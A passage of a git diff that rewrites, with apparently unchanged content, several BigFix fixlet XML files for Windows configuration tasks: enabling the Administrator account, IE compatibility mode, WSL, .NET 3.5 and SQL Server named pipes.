-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 22 Oct 2012 14:43:32 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to enable the Administrator Account.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {exists local user &quot;Administrator&quot;}
-	wait net user Administrator /active:YES
-else  //if {exists local user &quot;TheAdministrator&quot;}
-	wait net user TheAdministrator /active:YES
-endif
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Administrator Account
+  ID       : 615
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-22T09:47:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Administrator Account</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
+    <Relevance>account disabled flag of local user &quot;Administrator&quot; OR account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 22 Oct 2012 14:43:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable the Administrator Account.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {exists local user &quot;Administrator&quot;}
+	wait net user Administrator /active:YES
+else  //if {exists local user &quot;TheAdministrator&quot;}
+	wait net user TheAdministrator /active:YES
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes
index 4789c4de5..c1b1a74be 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable IE Compatibility Mode for All Websites for Currently Logged On User (645).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable IE Compatibility Mode for All Websites for Currently Logged On User
-  ID       : 645
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T17:16:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
-    <Description>Enable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[NOT (exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry)]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 26 Oct 2012 21:42:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
-regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000001
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action884">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to source of information.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable IE Compatibility Mode for All Websites for Currently Logged On User
+  ID       : 645
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T17:16:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
+    <Description>Enable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[NOT (exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry)]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Oct 2012 21:42:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
+regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000001
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action884">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to source of information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes
index 3cb27be35..433e448ec 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features (20682).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features
-  ID       : 20682
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-05-20T22:05:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>x64 of operating system</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists values whose(&quot;Microsoft-Windows-Subsystem-Linux&quot; = name of it AND it as string as integer = 255) of keys &quot;Updates&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of (x64 registries; x32 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 21 May 2016 04:58:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// disable wow64 redirection if x64 bit OS
-action uses wow64 redirection {not x64 of operating system}
-
-// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
-// dism /online /get-features
-// dism /online /Get-FeatureInfo /FeatureName:Microsoft-Windows-Subsystem-Linux
-//Feature Name : Microsoft-Windows-Subsystem-Linux
-//Display Name : Windows Subsystem for Linux (Beta)
-//Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
-//Restart Required : Required
-
-
-// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
-waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /FeatureName:Microsoft-Windows-Subsystem-Linux
-
-// Restart Required
-action requires restart
-
-//  Raw Registry Location:
-// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
-//  Related:
-// https://bigfix.me/fixlet/details/823
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features
+  ID       : 20682
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-05-20T22:05:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Microsoft-Windows-Subsystem-Linux (Ubuntu BASH) - Windows Features</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values whose(&quot;Microsoft-Windows-Subsystem-Linux&quot; = name of it AND it as string as integer = 255) of keys &quot;Updates&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot; of (x64 registries; x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 21 May 2016 04:58:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// disable wow64 redirection if x64 bit OS
+action uses wow64 redirection {not x64 of operating system}
+
+// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
+// dism /online /get-features
+// dism /online /Get-FeatureInfo /FeatureName:Microsoft-Windows-Subsystem-Linux
+//Feature Name : Microsoft-Windows-Subsystem-Linux
+//Display Name : Windows Subsystem for Linux (Beta)
+//Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.
+//Restart Required : Required
+
+
+// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
+waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /FeatureName:Microsoft-Windows-Subsystem-Linux
+
+// Restart Required
+action requires restart
+
+//  Raw Registry Location:
+// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
+//  Related:
+// https://bigfix.me/fixlet/details/823
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes
index eec4c6c66..aa43a91f0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (107).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Enable Named Pipes
-  ID       : 107
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Enable Named Pipes</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to enable MS SQL Named Pipes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
-else
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
-endif</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enable Named Pipes
+  ID       : 107
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes
index 104ed5e29..d8d0ea57a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable Named Pipes (641).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable Named Pipes
-  ID       : 641
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T12:05:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable Named Pipes</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to enable MS SQL Named Pipes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
-else
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
-endif</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Enable Named Pipes
+  ID       : 641
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T12:05:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Enable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 1) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to enable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000001
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes b/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes
index d8fa236c5..ea118712a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enable NetFx3 - .NET 2 & 3 - Windows Features (22635).bes	
@@ -1,53 +1,53 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Enable NetFx3 - .NET 2 & 3 - Windows Features
-  ID       : 22635
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-11-18T15:52:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Enable NetFx3 - .NET 2 &amp; 3 - Windows Features</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows 8 or later */ version of operating system >= "6.2"]]></Relevance>
-    <Relevance>not exists (it as version) whose(&quot;3.5&quot;=it) of following texts of firsts &quot;v&quot; of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&quot; of (x64 registries;x32 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 18 Nov 2016 20:11:32 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// disable wow64 redirection if x64 bit OS
-action uses wow64 redirection {not x64 of operating system}
-
-
-waithidden &quot;{pathname of system folder}\dism.exe&quot; /NoRestart /Quiet /online /enable-feature /featurename:NetFx3 { if ( (it contains &quot;Win2008R2&quot;) of name of operating system ) then &quot;&quot; else &quot;/all&quot; }
-
-// Restart Required
-action requires restart
-
-//  Raw Registry Location:
-// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-Lxss-Optional-Package~31bf3856ad364e35~amd64~~10.0.14342.1000\Updates
-
-//  Related:
-// https://bigfix.me/fixlet/details/823
-// https://www.raymond.cc/blog/add-or-remove-windows-features-through-the-command-prompt/
-// http://www.infralib.com/2013/02/running-64bit-cmd-via-32bit-sccm-client/
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
